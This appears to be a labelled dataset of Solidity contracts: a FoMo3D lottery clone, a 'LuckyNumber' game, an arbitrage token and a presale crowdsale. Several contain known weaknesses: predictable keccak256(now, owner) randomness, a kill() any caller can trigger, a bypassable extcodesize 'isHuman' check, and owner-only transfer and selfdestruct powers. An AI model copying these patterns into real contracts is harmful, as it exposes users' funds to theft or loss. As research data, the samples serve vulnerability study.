plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
referralProportionAccumulator = referralProportionAccumulator + referralProportion[i];
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
_affID = plyr_[_affID].laff;
i = i + 1;
}
uint256 undistributedPortion = referralTotalProportion - referralProportionAccumulator;
_com = _com.add(_eth.mul(undistributedPortion) / 100);
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_com = 0;
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(22)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x15fa4E13442BE603E3c7D7b1540b88FDe28ACE04 ||
msg.sender == 0x24e4b7b6BB591490bE9dF37B2f06124606C2487A ||
msg.sender == 0xaC0d35cd3141E93C9320317b328CED3dc076B476,
"only team LJIT can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,809 |
pragma solidity ^0.4.18;
contract LuckyNumber {
address owner;
bool contractIsAlive = true;
modifier live() {
require(contractIsAlive);
_;
}
function LuckyNumber() public {
owner = msg.sender;
}
function addBalance() public payable live {
}
function getBalance() view external live returns (uint) {
return this.balance;
}
function kill() external live {
if (msg.sender == owner)
owner.transfer(this.balance);
contractIsAlive = false;
}
function takeAGuess(uint8 _myGuess) public payable live {
require(msg.value == 0.00025 ether);
uint8 winningNumber = uint8(keccak256(now, owner)) % 10;
if (_myGuess == winningNumber) {
msg.sender.transfer((this.balance*9)/10);
owner.transfer(this.balance);
contractIsAlive = false;
}
}
} | 0 | 791 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ExchangeArbitrageToken is Owned {
using SafeMath for uint;
string public symbol = "EXARB";
string public name = "Exchange Arbitrage Token";
uint8 public decimals = 18;
uint minted_tokens;
uint max_investors;
uint minimum_wei;
uint exchange_rate;
uint total_investors;
uint cashout_rate;
uint launch_date;
event Transfer(address indexed from, address indexed to, uint tokens);
event MintTokens(address from, uint coin, uint amount);
event ExchangeRateSet(uint exchange_rate);
event CashoutRateSet(uint exchange_rate);
event MaxInvestorsSet(uint max_investors);
event MinimumInvestmentWEISet(uint minimum_wei);
event LaunchDateSet(uint launch_date);
mapping(address => BlockBalance[]) block_balances;
struct BlockBalance {
uint block_id;
uint balance;
}
mapping(address => mapping(uint16 => uint)) collected_payouts;
uint16[] payout_ids;
mapping(uint16 => PayoutBlock) payouts;
struct PayoutBlock {
uint block_id;
uint amount;
uint minted_tokens;
}
constructor() public payable {
minted_tokens = 0;
minimum_wei = 200000000000000000;
max_investors = 2500;
exchange_rate = 230;
cashout_rate = 50000000000000;
total_investors = 0;
launch_date = 1539604800;
emit MinimumInvestmentWEISet(minimum_wei);
emit MaxInvestorsSet(max_investors);
emit ExchangeRateSet(exchange_rate);
}
function totalSupply() public view returns (uint) {
return minted_tokens;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return getTokenBalanceOf(tokenOwner);
}
function ownershipPercentageOf(address tokenOwner) public view returns (uint percentage_8_decimals) {
return balanceOf(tokenOwner).mul(10000000000).div(minted_tokens);
}
function totalInvestors() public view returns (uint) {
return total_investors;
}
function allPayoutIds() public view returns (uint16[]) {
return payout_ids;
}
function getPayoutAmountForId(uint16 payout_id) public view returns (uint) {
return payouts[payout_id].amount;
}
function getPayoutBlockForId(uint16 payout_id) public view returns (uint) {
return payouts[payout_id].block_id;
}
function ethToTokenExchangeRate() public view returns (uint) {
return exchange_rate;
}
function limitMaxInvestors() public view returns (uint) {
return max_investors;
}
function limitMinimumInvestmentWEI() public view returns (uint) {
return minimum_wei;
}
function limitCashoutRate() public view returns (uint) {
return cashout_rate;
}
function launchDate() public view returns (uint) {
return launch_date;
}
function payoutAmountFor(uint16 payout_id) public view returns (uint) {
require(payouts[payout_id].block_id > 0, "Invalid payout_id");
require(block_balances[msg.sender].length > 0, "This address has no history on this contract.");
PayoutBlock storage payout_block = payouts[payout_id];
BlockBalance memory relevant_block;
for(uint i = 0; i < block_balances[msg.sender].length; i++) {
if (block_balances[msg.sender][i].block_id < payout_block.block_id ) {
relevant_block = block_balances[msg.sender][i];
}
}
return relevant_block.balance.mul(payout_block.amount).div(payout_block.minted_tokens);
}
function payoutCollected(uint16 payout_id) public view returns (bool) {
return collected_payouts[msg.sender][payout_id] > 0;
}
function payoutCollect(uint16 payout_id) public returns (bool success) {
require(collected_payouts[msg.sender][payout_id] == 0, "Payment already collected");
uint payout = payoutAmountFor(payout_id);
require(address(this).balance >= payout, "Balance is too low.");
collected_payouts[msg.sender][payout_id] = payout;
msg.sender.transfer(payout);
return true;
}
function calculateCashout() public view returns (uint amount) {
uint current_token_balance = getTokenBalanceOf(msg.sender);
uint payout = current_token_balance.mul(cashout_rate).div(1000000000000000000);
return payout;
}
function cashout() public returns (bool success) {
uint current_token_balance = getTokenBalanceOf(msg.sender);
require(current_token_balance > 0, 'Address has no balance');
uint payout = current_token_balance.mul(cashout_rate).div(1000000000000000000);
subtractTokenBalanceFrom(msg.sender, current_token_balance);
minted_tokens = minted_tokens.sub(current_token_balance);
total_investors--;
msg.sender.transfer(payout);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
require(tokens > 0, "Transfer must be positive.");
uint original_to_blance = balanceOf(to);
if (original_to_blance == 0) { total_investors++; }
subtractTokenBalanceFrom(msg.sender, tokens);
addTokenBalanceTo(to, tokens);
uint new_sender_balance = balanceOf(msg.sender);
if (new_sender_balance == 0) { total_investors--; }
emit Transfer(msg.sender, to, tokens);
return true;
}
function () public payable {
if (msg.sender != owner){
if (msg.value >= minimum_wei && block.timestamp > launch_date){
require(total_investors < max_investors, "Max Investors Hit");
mint(msg.sender, msg.value);
}
if (!owner.send(msg.value)) { revert(); }
} else {
require(msg.value > 0);
}
}
function mint(address sender, uint value) private {
uint current_balance = balanceOf(sender);
if (current_balance == 0) { total_investors++; }
uint tokens = value.mul(exchange_rate);
addTokenBalanceTo(sender, tokens);
minted_tokens = minted_tokens.add(tokens);
emit MintTokens(sender, value, tokens);
}
function getTokenBalanceOf(address tokenOwner) private view returns (uint tokens) {
uint owner_block_balance_length = block_balances[tokenOwner].length;
if (owner_block_balance_length == 0) {
return 0;
} else {
return block_balances[tokenOwner][owner_block_balance_length-1].balance;
}
}
function addTokenBalanceTo(address tokenOwner, uint value) private {
uint owner_block_balance_length = block_balances[tokenOwner].length;
if (owner_block_balance_length == 0) {
block_balances[tokenOwner].push(BlockBalance({ block_id: block.number, balance: value }));
} else {
BlockBalance storage owner_last_block_balance = block_balances[tokenOwner][owner_block_balance_length-1];
uint owner_current_balance = getTokenBalanceOf(tokenOwner);
if (payout_ids.length == 0 || owner_last_block_balance.block_id > payouts[payout_ids[payout_ids.length-1]].block_id ) {
block_balances[tokenOwner][owner_block_balance_length-1] = BlockBalance({ block_id: block.number, balance: owner_current_balance.add(value) });
} else {
block_balances[tokenOwner].push(BlockBalance({ block_id: block.number, balance: owner_current_balance.add(value) }));
}
}
}
function subtractTokenBalanceFrom(address tokenOwner, uint value) private {
uint owner_block_balance_length = block_balances[tokenOwner].length;
if (owner_block_balance_length == 0) {
revert('Can not remove balance from an address with no history.');
} else {
BlockBalance storage owner_last_block_balance = block_balances[tokenOwner][owner_block_balance_length-1];
uint owner_current_balance = getTokenBalanceOf(tokenOwner);
if (payout_ids.length == 0 || owner_last_block_balance.block_id > payouts[payout_ids[payout_ids.length-1]].block_id ) {
block_balances[tokenOwner][owner_block_balance_length-1] = BlockBalance({ block_id: block.number, balance: owner_current_balance.sub(value) });
} else {
block_balances[tokenOwner].push(BlockBalance({ block_id: block.number, balance: owner_current_balance.sub(value) }));
}
}
}
function payout(uint16 payout_id, uint amount) public onlyOwner returns (bool success) {
require(payouts[payout_id].block_id == 0);
payouts[payout_id] = PayoutBlock({ block_id: block.number, amount: amount, minted_tokens: minted_tokens });
payout_ids.push(payout_id);
return true;
}
function setExchangeRate(uint newRate) public onlyOwner returns (bool success) {
exchange_rate = newRate;
emit ExchangeRateSet(newRate);
return true;
}
function setCashoutRate(uint newRate) public onlyOwner returns (bool success) {
cashout_rate = newRate;
emit CashoutRateSet(newRate);
return true;
}
function setMaxInvestors(uint newMaxInvestors) public onlyOwner returns (bool success) {
max_investors = newMaxInvestors;
emit MaxInvestorsSet(max_investors);
return true;
}
function setMinimumInvesementWEI(uint newMinimumWEI) public onlyOwner returns (bool success) {
minimum_wei = newMinimumWEI;
emit MinimumInvestmentWEISet(minimum_wei);
return true;
}
function setLaunchDate(uint newLaunchDate) public onlyOwner returns (bool success){
launch_date = newLaunchDate;
emit LaunchDateSet(launch_date);
return true;
}
function ownerTransfer(address from, address to, uint tokens) public onlyOwner returns (bool success) {
require(tokens > 0, "Transfer must be positive.");
uint original_to_blance = balanceOf(to);
if (original_to_blance == 0) { total_investors++; }
subtractTokenBalanceFrom(from, tokens);
addTokenBalanceTo(to, tokens);
uint new_from_balance = balanceOf(from);
if (new_from_balance == 0) { total_investors--; }
emit Transfer(from, to, tokens);
return true;
}
function destroy() public onlyOwner {
selfdestruct(owner);
}
} | 0 | 792 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ALT1Token is Ownable, ERC20Basic {
using SafeMath for uint256;
string public constant name = "Altair VR presale token";
string public constant symbol = "ALT1";
uint8 public constant decimals = 18;
bool public mintingFinished = false;
mapping(address => uint256) public balances;
address[] public holders;
event Mint(address indexed to, uint256 amount);
event MintFinished();
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
if (balances[_to] == 0) {
holders.push(_to);
}
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function transfer(address, uint256) public returns (bool) {
revert();
return false;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
modifier canMint() {
require(!mintingFinished);
_;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
uint256 public constant rate = 17000;
uint256 public constant cap = 80000000 ether / rate;
bool public isFinalized = false;
uint256 public endTime = 1522540800;
ALT1Token public token;
address public wallet;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
function Crowdsale (ALT1Token _ALT1, address _wallet) public {
assert(address(_ALT1) != address(0));
assert(_wallet != address(0));
assert(endTime > now);
assert(rate > 0);
assert(cap > 0);
token = _ALT1;
wallet = _wallet;
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function finalize() onlyOwner public {
require(!isFinalized);
finalization();
Finalized();
isFinalized = true;
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool tokenMintingFinished = token.mintingFinished();
bool withinCap = weiRaised.add(msg.value) <= cap;
bool withinPeriod = now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool moreThanMinimumPayment = msg.value >= 0.05 ether;
return !tokenMintingFinished && withinCap && withinPeriod && nonZeroPurchase && moreThanMinimumPayment;
}
function finalization() internal {
token.finishMinting();
endTime = now;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
} | 1 | 3,328 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularLong is F3Devents {}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xc873e3646534b2253f324ee7f5f7f5b2a857ba9a);
address public ceo;
address public cfo;
string constant public name = "The Winner Fomo3D Long";
string constant public symbol = "THEWINNER3D";
uint256 private rndExtra_ = 30 seconds;
uint256 private rndGap_ = 30 seconds;
uint256 constant private rndInit_ = 24 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
ceo = msg.sender;
cfo = msg.sender;
fees_[0] = F3Ddatasets.TeamFee(30,0);
fees_[1] = F3Ddatasets.TeamFee(60,0);
fees_[2] = F3Ddatasets.TeamFee(20,0);
fees_[3] = F3Ddatasets.TeamFee(40,0);
potSplit_[0] = F3Ddatasets.PotSplit(25,0);
potSplit_[1] = F3Ddatasets.PotSplit(30,0);
potSplit_[2] = F3Ddatasets.PotSplit(10,0);
potSplit_[3] = F3Ddatasets.PotSplit(20,0);
}
modifier isActivated() {
require(activated_ == true, "Not Active!");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "Not Human");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "Too Less");
require(_eth <= 100000000000000000000000, "Too More");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function modCEOAddress(address newCEO)
isHuman()
public
{
require(address(0) != newCEO, "CEO Can not be 0");
require(ceo == msg.sender, "only ceo can modify ceo");
ceo = newCEO;
}
function modCFOAddress(address newCFO)
isHuman()
public
{
require(address(0) != newCFO, "CFO Can not be 0");
require(cfo == msg.sender, "only cfo can modify cfo");
cfo = newCFO;
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
}
else if (_affCode != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
}
else if (_affCode != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
else
{
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
